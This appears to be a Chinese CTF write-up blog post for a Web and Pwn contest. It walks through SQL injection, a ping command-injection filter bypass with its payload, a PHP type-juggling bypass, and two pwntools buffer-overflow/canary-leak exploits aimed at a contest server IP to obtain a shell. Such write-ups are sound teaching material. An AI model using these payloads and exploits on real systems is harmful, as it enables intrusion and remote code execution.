首届“钓鱼城”杯网络安全技能大赛Web&PWN

WEB

简单的注入

先使用Dirsearch扫描,发现存在Robots.txt文件,进行访问,得到如下提示:

不难发现存在一个登录页面和一个存在明显注入点的页面;

我们可以使用SQLMap跑出对应数据库中的登录信息,然后登录即可获得Flag


Ping

        这是一道简单的RCE的题目;照例先查看一下当前目录下的文件;

127.0.0.1 | ls

        执行后发现存在flag文件,我们尝试直接查看,但是不行;通过抓包分析得知进行了过滤

代码如下:

<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['ip'])){
    $ip = $_GET['ip'];
    if(!preg_match("/;|flag|@|\*|\?|'|\"/i",$ip)){
        system('ping -c 4 '.$ip);
    }
    else{
        echo "<script>alert('bad argument')</script>";
    }
}

                我们可以通过?ip=127.0.0.1|cat%20fla%1g进行绕过,或者使用Base64编码绕过;即可获得Flag


Hasai 

PHP的强类型比较,我们可以使用数值绕过:

PHP中的弱类型比较和强类型比较可以参考:

(42条消息) ctfshow-php特性-超详解(干货)_ctfshowphp特性_Yn8rt的博客-CSDN博客

(45条消息) WEB攻防-PHP特性&缺陷对比函数&CTF考点_intval绕过_@墨竹的博客-CSDN博客

<?php
highlight_file(__FILE__);
error_reporting(0);
include "flag.php";
if (!isset($_POST['username']) && !isset($_POST['password'])){exit(0);}
$username = $_POST['username'];
for ($i = 0;$i < count($username); $i++){
    if ($username[$i] === 'admin'){
        echo "error";
        exit(0);
    }
    $username[$i] = intval($username[$i]);
}
if (array_search("admin",$username) === 0){
    if(strcmp($_POST['password'],$password) == 0 ){
        echo "<br>Right! login success! </br>";
        echo $flag;
    }else{
        echo "<br>wrong password<br>";
    }
}


Pwn

easy_pwn

使用IDApro(32位)打开文件并查看Main函数伪代码

main()函数中存在关键函数message()的调用,然后查看message()函数的伪代码

发现存在无限字节的栈溢出,接下来通过覆盖char s [28]和 rbp再添加shellcode_addr即可getshell,发现程序中存在flag()后门函数地址为0x08048519

Exp:

from pwn import *
r = remote('101.42.165.118',20001)
shellcode_addr = 0x08048519
payload = b'X' * 32 + p32(shellcode_addr)
r.sendline(payload)
r.interactive()

ez_canary

使用IDApro(64位)打开文件并查看Main函数伪代码

main()函数中存在关键函数vuln()的调用,然后我们查看vuln()函数的伪代码

        要先泄露Canary然后再构造Payload,发现char v4[10] 此时我们只需要利用read()函数填充v4为11即可泄露Canary,然后我们我们再通过下一个read()函数发送payload = padding + cannary + padding + shell_addr 即可getshell

Exp:

from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
io = remote('101.42.165.118', 20002)

payload = b'a' * 11
io.send(payload)
io.recvuntil('a' * 11)
canary = u64('\x00' + io.recv(7))
log.success('Canary:\t' + hex(canary))

payload2 = b'a' * 20 + p64(canary) + b'a' * 8 + p64(0x000000000040121E)
io.send(payload2)

io.interactive()


#DASCTF{9c565f3584a8e7ad64a73996b615811b}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值